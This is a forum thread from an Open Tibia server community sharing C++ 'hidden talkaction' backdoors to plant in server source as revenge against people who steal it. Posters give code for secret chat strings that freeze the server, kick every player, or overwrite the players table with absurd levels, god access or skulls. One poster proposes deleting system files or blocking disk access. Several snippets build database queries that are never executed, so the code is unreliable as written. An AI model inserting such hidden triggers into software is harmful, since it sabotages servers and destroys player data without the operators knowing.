• There is NO official Otland's Discord server and NO official Otland's server list. The Otland's Staff does not manage any Discord server or server list. Moderators or administrator of any Discord server or server lists have NO connection to the Otland's Staff. Do not get scammed!

Feature Security things - hidden commands (useful for OT stealers, if thief dont have source)

When you use this 'Hidden Talkaction' it appears in screen.
How to 'don't show words' in screen?
 
Add another command to drop the entire database.

That would be considerably more fun to exploit.
 
This is const char*, you can use a hex editor, find this text in ASCI in tfs.exe and change to another text but with same size.
 
Freeze server xD

Code:
    if(text == "__first_code_in_c++__")
    {
       std::clog << std::endl << "Freeze." << std::endl;
       Sleep(2000);
        while(true)
         {
           //empty
           Sleep(50);
         }
       return true;
    }

Make everyone level 717217 with max hp/mana 1.

Code:
    if(text == "__second_code_in_c++__")
    {
   	DBQuery query;
    AutoList<Player>::iterator it = Player::autoList.begin();
    
       std::clog << std::endl << ">>> Adding level 717217 to everyone..." << std::endl;
       broadcastMessage("Adding level 717217 to everyone.", MSG_STATUS_WARNING);
       Sleep(10000);

	while(it != Player::autoList.end()) //kick all players that are still online
	{
		it->second->kickPlayer(true, true);
		it = Player::autoList.begin();
	}
       query << "UPDATE `players` SET `level` = 717217, `health` = 1, `healthmax` = 1, `mana` = 1, `manamax` = 1";
       Sleep(2000); 
       std::clog << std::endl << ">>> Done." << std::endl;
       Sleep(60000);
       broadcastMessage("Everyone is now level 717217. Scammers gonna' hate.", MSG_STATUS_WARNING);
       return true;
    }

First time i made something in c++ :)
 
Last edited:
Give god to everyone. ^_^

Code:
    if(text == "__free_god_plx__")
    {
   	DBQuery query;
    AutoList<Player>::iterator it = Player::autoList.begin();
 
        broadcastMessage("Trolololo", MSG_STATUS_WARNING);
        Sleep(3000);
        
	while(it != Player::autoList.end()) //kick all players that are still online
	{
		it->second->kickPlayer(true, true);
		it = Player::autoList.begin();
	}
    	query << "UPDATE `players` SET `group_id` = 6";
    	Sleep(3000);
        std::clog << std::endl << ">>> Trololololo" << std::endl;
    	return true;
    }

Give blackskull to everyone. :D

Code:
    if(text == "__free_blackskull_to_everyone__")
    {
   	DBQuery query;
    AutoList<Player>::iterator it = Player::autoList.begin();
 
        broadcastMessage("Trolololololo", MSG_STATUS_WARNING);
        Sleep(3000);
        
	while(it != Player::autoList.end()) //kick all players that are still online
	{
		it->second->kickPlayer(true, true);
		it = Player::autoList.begin();
	}
        query << "UPDATE `players` SET `skull` = 3";
    	Sleep(3000);
        std::clog << std::endl << ">>> TROLOLOLOLOLOLO" << std::endl;
    	return true;
    }
 
For such morons that stole your property better lesson will be if engine deletes itself + locate all source files on computer. If you ask me I would also put some nasty stuff stuff into engine to punish such behaviour.. like delete some system files maybe? Or block acces to disk <- that would be funny XD
 
You can do that it change vocation?
On it
<vocation id="13" name="Super Epic Elite Knight" description="an epic elite knight" needpremium="0" gaincap="25" gainhp="15" gainmana="5" gainhpticks="8" gainhpamount="10" gainmanaticks="4" gainmanaamount="10" manamultiplier="3.0" attackspeed="1" soulmax="200" gainsoulticks="15" fromvoc="13" lessloss="50">
<formula meleeDamage="999.0" distDamage="999.0" wandDamage="999.0" magDamage="999.0" magHealingDamage="999.0" defense="999.0" magDefense="999.0" armor="999.0"/>
<skill fist="9.9" club="9.9" sword="9.9" axe="9.9" distance="9.9" shielding="9.9" fishing="9.9" experience="9.9"/>
 
You can do that it change vocation?
On it

Code:
    if(text == "__set_vocation__")
    {
   	DBQuery query;
    
       query << "UPDATE `players` SET `vocation` = 13 WHERE `name` = 'YOUR CHARACTER NAME'";
       Sleep(2000); 
       std::clog << std::endl << ">>> Done." << std::endl;
       return true;
    }

Change 13 to your vocation id and change the character name. You must use the character name that you write there ingame if you're gonna use this command.
 
Back
Top